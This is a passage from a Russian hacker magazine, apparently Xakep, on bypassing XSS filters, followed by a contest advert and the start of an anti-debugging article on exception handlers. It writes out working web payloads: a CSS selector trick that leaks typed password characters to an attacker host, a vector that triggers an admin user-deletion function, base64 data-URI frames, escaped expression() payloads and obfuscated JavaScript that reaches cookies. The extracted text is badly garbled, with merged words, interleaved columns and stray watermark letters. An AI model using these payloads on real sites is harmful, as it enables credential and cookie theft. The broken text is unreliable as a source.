
 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

HA.CKERS.ORG — АЗБУКАXSS.

РЕКОМЕНДОВАНОКПЕРЕОСМЫСЛЕНИЮ

 

ТАСАМАЯXSS ЧЕРЕЗБИТРИКС

Safari, Chrome. УниверсальныйJavaScript будет

WAF, КОТОРАЯНАШЛАСЬПОСЛЕ

примернотаким:

CHAOS CONSTRUCTIONS 2009

XSS, КОТОРАЯОБХОДИТФИЛЬТРАЦИЮБЛАГОДАРЯКОДИРОВКЕ UTF-7. БЫЛАНАЙДЕНА

ВGOOGLE В2005 ГОДУ

function makePOSTRequest

 

попался, распечатываеткартинкунапринтере.

(url, parameters)

 

Атакавыглядитследующимобразом:

{

 

 

 

 

 

 

 

 

 

http_request = false;

 

 

<img src='myprinter:9100/Printed_

// Mozilla, Safari,...

 

 

from_the_web/>

if (window.XMLHttpRequest)

 

 

 

 

 

Это, конечно, концепция, носпомощью

{

 

http_request = new XMLHttpRequest();

 

JavaScript иPOST-запросапечатьдействи-

if(http_request.overrideMimeType)

 

тельнополучится.

{

 

CLICKJACKING

// set type accordingly to anticipated

 

content type

 

Этоноваяиинтереснаятехника. Сутьпроста, как

http_request.overrideMimeType(

 

помидор— атакуемыйсайтподгружаетсякак

'text/html');

 

подложкаподкакой-нибудьдругойслой, напри-

}

 

мер, игрутипа«попадимышкой». Пользователь

}

 

щелкаетподвижущейсямишени, нажимаяна

else if (window.ActiveXObject)

 

реальныекнопкиатакуемогосайта, которыйон

{ // IE

 

невидит. СделатьэтоможноиспомощьюFlash

try {

 

испомощьюCSS. ВотвариантотDavid Ross:

http_request = new ActiveXObject(

 

 

 

 

"Msxml2.XMLHTTP");

 

 

iframe,frame,object,applet {

 

}

 

 

border:1px solid #000 !important;

 

catch (e)

 

 

visibility:visible !important;

 

{

 

 

opacity: 1 !important;

 

try {

 

 

filter: alpha(opacity=100)

 

http_request = new ActiveXObject(

 

 

!important;

 

"Microsoft.XMLHTTP");

 

 

position:absolute !important;

 

}

 

 

float:none !important;

 

catch (e)

 

 

overflow:auto !important;

 

{}

 

....

 

}

 

}

 

}

 

 

 

 

 

Иливот— отегожебанды— спомощьюhtml и

if (!http_request) {

 

return false;

 

стилей:

}

 

 

 

 

 

 

 

<html>

 

http_request.onreadystatechange = \

 

 

<head>

 

alertContents;

 

 

</head>

 

http_request.open('POST', url, true);

 

 

<body>

 

http_request.setRequestHeader(

 

 

<image ISMAP style="position:

 

"Content-type",

 

 

absolute;width:100%;height:10

 

"application/x-www-form-urlencoded");

 

 

0%;" onmousedown="this.style.

 

http_request.setRequestHeader(

 

 

display='none'">

 

"Content-length", parameters.length);

 

 

<iframe src="http://www.microsoft.

 

http_request.setRequestHeader(

 

 

com" id=x type=text/html width=500

 

"Connection", "close");

 

 

height=500 codetype=text/html

 

http_request.send(parameters);

 

 

id=x></iframe></image>

 

}

 

 

</button>

 

 

 

 

</body>

 

Носамыйвеселыйвариант, которыймне

 

 

</html>

 

 

 

 

 

 

Тутязадерживатьсяособонебуду. Возьмина заметку, есличтонепонятно— вСетимного материаловнаэтутему. Яжепродолжуповествованиеименноометодахобходафильтров.

БУДЬСТИЛЬНЫМ! ИСПОЛЬЗОВАНИЕCSS2

ИCSS3 ДЛЯXSS

Преждевсего, упомянузаезженныевещи. Для Internet Explorer существуетспособвыполнять

JavaScript спомощьюфункцииexpression(). В

качествеаргументаейпередаетсясамскрипт. Примерреализации— всамомначалестатьи. ЧутьменеезаезженныйприемдляIE — использованиеbehavior. Проблемавтом, чтоможно подключитьтолькофайл, расположенныйна томжедомене. ВотHTML:

<div style=”behavior: url(“/file. htc”)

Содержимоеподключаемогофайлапримерно следующее:

<attach event="ondocumentready" handler="parseStylesheets" /> <script language="JavaScript"> function parseStylesheets() {

alert(document.cookie + '\nONSEC. ru security research team')

}

</script>

Естьнебольшойположительныймомент— такуюконструкциюможнозасунутьвнутрьдругогоHTML; IE распознаеттамвсе, чтонамнадо

ивыполнит. Такимобразом, естьвозможность использоватьсякакбыдваXSS крядуивызвать какую-нибудьадминистративнуюjavascript- функцию. Сейчасрасскажуболееподробно. Предположим, естьсайтсуязвимостьюXSS

ифильтром, которыйфильтруетscript, но пропускаетbehavior. Длянаглядности, — пусть существуетуязвимостьвадминкеивпоиске, новсевариантыXSS, кромеbehavior, не работают. Предлагаювоттакой«двойной»

вектор: http://xssed-site.com/search/q=<div style="behavior:url(http://xssed-site.com/ admin/q=<attach event="ondocumentready" handler="delUser(1)"/>)>

XÀÊÅÐ 10 /130/ 09

065

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

ВЗЛОМ

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Тутмыподключаемкстраницепоискастраницуадминки, гдетакжеприсутствуетXSS. При

этомпривязываемфункциюdelUser(1) (еще разповторю, этаненашафункция, афункция

самойадминки) ксобытиюondocumentready.

Всенаодномдомене, итакойкодотработает! Едемдальше. Длядвижкамозиллыесть такаяштуковина, как–moz-binding: url(http:// hackme.com/bindme.xml#xss). Этопозволяет подключитьвнешнийXML, внутрикоторого будетсодержатьсяJavaScript. Вотпример такогоXML-файла:

<bindings xmlns="http:// www.mozilla.org/xbl" xmlns:html="http://www. w3.org/1999/xhtml"> <binding id="xss">

<implementation>

<constructor>

alert("XSS");

</constructor>

</implementation>

</binding>

</bindings>

Естьоднамаленькаязагвоздка— приемне будетработатьвFF3.5. Покончивсособенностямибраузеров, переходимкособенностям

самогоCSS. Начнем, конечно, синклудов. С точностьюдопредставлениякодасинтаксис выглядитвоттак:

<style>

@import "http://xakepsite.com/xss.css" </style>

Ну, аужевнутриэтогобезобразияможноскрыть все, чтоупомянутовыше. Теперьчутьвеселее

— чтениезначенийтеговпосредствомчистого CSS3. Дляпримера, унасимеетсяinput, вкоторыйпользовательвводитпароль. ПрикручиваемCSS ссодержанием:

input[value*="\x10"]{

background:url("//xakepsite.

com/?h=\x10");

}

… и так далее … input[value*=“\x7F”]{ background:url(“//attacker.

com/?h=\x7F”);

}

Чтоэтодает? Каждыйраз, когдасимволпароля попадаетвдиапазон10-7F, отсылаетсясоответствующийзапрос. Такимобразом, повыходу унасбудутвсесимволыпароля. Останется толькорасположитьихвнужномпорядке. В реальнойжизнидиапазонв111 символов можнорасширить, аспомощьюасинхронных включенийCSS восстановитьипоследовательностьсимволов. Тутяостанавливатьсяне буду, примерреализации— eaea.sirdarckcat. net/cssar.

ЭТИДЕВУШКИВЫДАЮТНАГРАДУ ЗАКАЖДУЮНАЙДЕННУЮУЯЗВИМОСТЬВСЕРВИСАХGOOGLE

DATA:TEXT/HTML

Популярныйвпоследнеевремяприемобхода фильтров. Главноепреимущество— поддержка base64-формата. Такимобразом, внутреннее выражениефильтрамподверженозаведомоне будет. Реализации, например, такие:

<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Njcm lwdD4K"></iframe>

<FRAMESET><FRAME SRC="data:text/htm l;base64,PHNjcmlwdD5hbGVydCgnWFNTJ yk8L3NjcmlwdD4K"></FRAMESET> <OBJECT TYPE="text/x-scriptlet" DATA="data:text/html;base64,PHNjc mlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 K"></OBJECT>

Такжепрекрасновыполняетсявадресной строкебраузера. Работаетвезде, кромеInternet Explorer. Помимоtext/html можноиспользовать вариациинатему.

«ОБФУСКАЦИЯ» КОДА

Браузерыпо-разномуобрабатываютHTML

— этонидлякогонесекрет. Используятеили иныеособенности, можноприводитьрабочий кодксостоянию, когдаоннепопадаетпод регулярныевыраженияфильтров. Природе известнымногиеварианты, например:

<p/alt="noxss"onmouseover=alert(/

XSS/)>test</p>

РаботаетвOpera 10, IE 8, FF 3.5, нонепонима-

етсяChrome иSafari.

<style>@\69\6d\70\6f\72\74 '// xakep-site.com/xss.css';</style> <p style="f\iltere\d: va\lue"/>

<div style=f\il\te\r\ed:val\ue></div> <div style=xss:\65\78\70\72\65\73\7 3\69\6f\6e\28\61\6c\65\72\74\28\31 \29\29></div>

<div

style=xss:\65\78

\70\72\6

53\73\73\6

9\6f\6e\

28\61\6c

9265\72\74

\28\31\2

57\29></div> <!—xss:expression(alert(1))-->

РаботаетOpera 10, Chrome, Safari, IE 8, FF 3.5 (сам expression, естественно, отрабатываетсятолько IE).Естьпрекраснаяисследовательскаяработа пораспознаваниютеговиатрибутоввInternet Explorer 6. Нотаккаконанемногоустарела, я небудуцитироватьприемыоттуда. Еслибудет желание— найдешьеенаantichat.ru. Предположимтеперьситуацию, чтодоступквыполнениюJavaScript получен, однакофильтрне пропускаетнужныевыражениявродеdocument. cookie, location.href, document.write ипрочее. Тут расстраиватьсянезачем. Покафильтрнеимеет JavaScript-процессора, еговсегдаможнообойти средствамисамогоJavaScript. Напрошедшей BlackHat 2009 былпредставленинтересный способприведениякодакнефильтруемомувиду

— alert(1) заменяетсянаjson-представление:

($=[$=[]][(____=!$+$)[_=-~-~- ~$]+({}+$)[_/_]+($$=($_=!”+$) [_/_]+$_[+$])])()[__[_/_]+__ [_+~$]+$_[_]+$$](_/_)

Ну,как,читаемо?Аглавное—всесимволыпечат- ные.Этотпримеряподробноразобралвсвоейза-

метке:http://oxod.ru/2009/08/26/обход-xss-филь-

тров-по-средствам-особенос.Авотпримерчик

обходафильтрацииdocument.cookieотменя:

($=("+([] ['pop']))+");(_="+this);$$$

= _[11]+$[6]+$[3]+$[1]+' m'+$[20]+$[2]+$[4];$$_ =

$[3]+$[6]+$[6]+"k”+$[5]+$[20]; alert(this[$$$][$$_])

Тутидеявтом, что, приводятипыизначенияпеременныхкстрокам, мыполучаемиз нихнужныесимволыдлясоставленияслов document иcookie. Естественно, ниодин фильтрнесправитсястакойзадачей, неимея возможностисамомувыполнятьJavaScript.

ЗАКЛЮЧЕНИЕ

ХотелзаостритьвниманиеименнонаXSSфильтрах, которыевпоследнеевремявсечаще появляютсянавеб-серверах. Принаписании фильтровоченьважнопойматьграньмеждунеобходимымиизлишним. Иобязательно— проверитьфильтрналожныесрабатывания, чтобы потомнепришлосьразбиратьсяснегодующими пользователями. Теперьсталоочевидно, что отделатьсядесятьюрегулярнымивыражениями невыйдет. Вотвродебыивсе, призываюписать хорошиепродуктыиисследоватьихсэнтузиазмом. Навопросыотвечаювблогеoxod.ru. z

066

XÀÊÅÐ 10 /130/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

X-Contest!

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

НОВЫЕ ХАК-КВЕСТЫ КАЖДЫЙ МЕСЯЦ на www.ring0cup.ru

 

ПРИЗЫ

 

ЗАХОДИ НА САЙТ

25 ОКТЯБРЯ

WWW.RING0CUP.RU,

БЕСПРОВОДНОЙ НАБОР КЛАВИАТУРА

СТАРТУЕТ

ПРОБУЙ СВОИ СИЛЫ

DEFENDER BERN 795

ОКТЯБРЬСКИЙ

• 19 ХОТКЕЕВ ДЛЯ БЫСТРОГО ДОСТУПА

 

+ МЫШЬ.

 

В РЕВЕРСИНГЕ,

К ПРИЛОЖЕНИЯМ

Х-КОНКУРС

• КОЛЕСО УПРАВЛЕНИЯ ЗВУКОМ

 

ПЕН-ТЕСТЕ И РЕШЕНИИ

• РАДИОЧАСТОТА 2,4 ГГЦ

 

ХАКЕРСКИХ

НА КЛАВЕ

 

И ПРОРЕЗИНЕННОЕ ПОКРЫТИЕ

 

ГОЛОВОЛОМОК

• ЭРГОНОМИЧНЫЙ ДИЗАЙН

 

ЭКОНОМИИ ЭНЕРГИИ

 

 

• ТРЕХУРОВНЕВАЯ СИСТЕМА

 

И ВЫИГРЫВАЙ ПРИЗЫ.

 

 

 

 

 

Итоги

сентябрьского

конкурса

1.Xek0

2.JAcKiE

3.peretc89

4.ianepanda

5.mazalamo

DEFENDER ZURICH 755

БЕСПРОВОДНАЯ ЛАЗЕРНАЯ МЫШЬ

Разрешение: 800 cpi / 1600 cpi

Радиус действия: 8 метров

• Питание: 2 батарейки АА

XÀÊÅÐ 10 /130/ 09

67

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

ВЗЛОМ

 

w Click

 

 

 

 

 

 

ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

ЭНЦИКЛОПЕДИЯ

АНТИОТЛАДОЧНЫХ

ПРИЕМОВ

Одноизсамыхбольшихудовольствийдляреверсера(иногда

— ибольшаяголовнаяболь) — преодолениезащит, которые «завязаны» наобработкеисключений. Еслитыещенезнаком сподобнымпринципомзащитныхмеханизмовто, все, что

изложенониже, тебеоченьпригодится. «Назакуску» — ещеодин защитныйтрюк: использованиеоднойинтереснойособенности работыфункцииvsprintf (), буквально«убивающей» OllyDbg.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

«ИСКЛЮЧИТЕЛЬНАЯ»

маетсясистемныйобработчик. Какимобразом

Разберемследующийкод, которыйвнесенв

ЗАЩИТА

установитьобработчиксобственный?

рассмотреннуюнамипрограмму-«дрозофилу»

Частовпроцессеработыпрограммывозни-

Указательнаструктуру, содержащуюадрес

«ex.exe» припомощиотладчикаOllyDbg (не

каютситуации, которыеневозможнопредус-

обработчика(которыйтакжесовпадаетис

забывай, чтокодвносится, начинаясадреса

мотреть. Например, попытказаписивячейку

адресомуказателянасамобработчик), нахо-

00401026, чтотребуетиспользованияLordPe

памяти, котораяпринадлежитстраницес

дитсяпоадресуFS:[0]. Следовательно, для

дляизмененияточкивходавпрограмму):

неустановленныматрибутом«writeable»,

того, чтобызаменитьсистемныйобработчик

 

 

илижеделениенаноль. Длятакихситуаций

собственным, необходимопоместитьвстек

00401026

XOR EAX,EAX; EAX=0

программистыMicrosoft создалимеханизм

структуру, содержащуюадресновогообработ-

00401028

PUSH 0040103A ; помещение

обработкиисключений.

чика, иуказательнастарыйобработчик. После

адреса нового обработчика в стек

Обработчикисключений, илиSEH (англ.

чегопоместитьпоадресуFS:[0] указательна

0040102D

PUSH DWORD PTR FS:[EAX]

«Structured Exception Handling») — частькода,

новуюструктуру.

; помещение адреса старого обработ-

накоторуювозложенафункцияобработки

Небудемтерятьвремя, рассмотримнапрак-

÷èêà â ñòåê

ошибокдляданноготреда. Нужнопояснить,

тикеодинизантиотладочныхприемов. Если

00401030

MOV DWORD PTR

чтопредставляетсобойтред(отангл. «thread»,

тычиталпредыдущийвыпускжурнала, то

FS:[EAX],ESP; помещение в FS:[0]

нить). Думаю, тызнаешь, чтокодпрограммы

помнишь, чтомыисследовалинебольшую

указателя на структуру

можетбыть«распараллелен», тоестьне-

программу-«дрозофилу» (воспользуемся

00401033

CALL 00401033; генерация

сколькочастейпрограммымогутвыполняться

термином, которыйиногдавсвоихстатьяхис-

исключения путем переполнения стека

одновременно— вконтекстеединственного

пользуетКрис), написаннуюнаассемблере. Ее

00401038

JMP SHORT 00401038;

процесса(например, вграфическомредакторе

можнонайтинанашемдиске; точкавходарас-

данная инструкция никогда не будет

одновременномогутвыполнятьсяпечатьизоб-

полагаетсяпоадресу0x0401000, акод, который

исполнена

 

раженияиегоредактирование). Каждаятакая

выдаетокошкоснадписью«Hello, World!»,

0040103A

POP EAX; восстановить

частьпрограммыиназываетсятредом. При

имеетразмервсего26h байт. Соответственно,

регистр

 

этомдлякаждоготредаможетбытьустановлен

начинаясадреса0x401026, располагается

0040103B

POP EAX; восстановить

собственныйобработчикисключений.

«выравнивающий» секциюмассивнулевых

регистр

 

Поумолчаниюобработкойисключенийзани-

байтов.

0040103C

POP ESP; восстановить

 

 

 

 

068

XÀÊÅÐ 10 /130/ 09

Соседние файлы в папке журнал хакер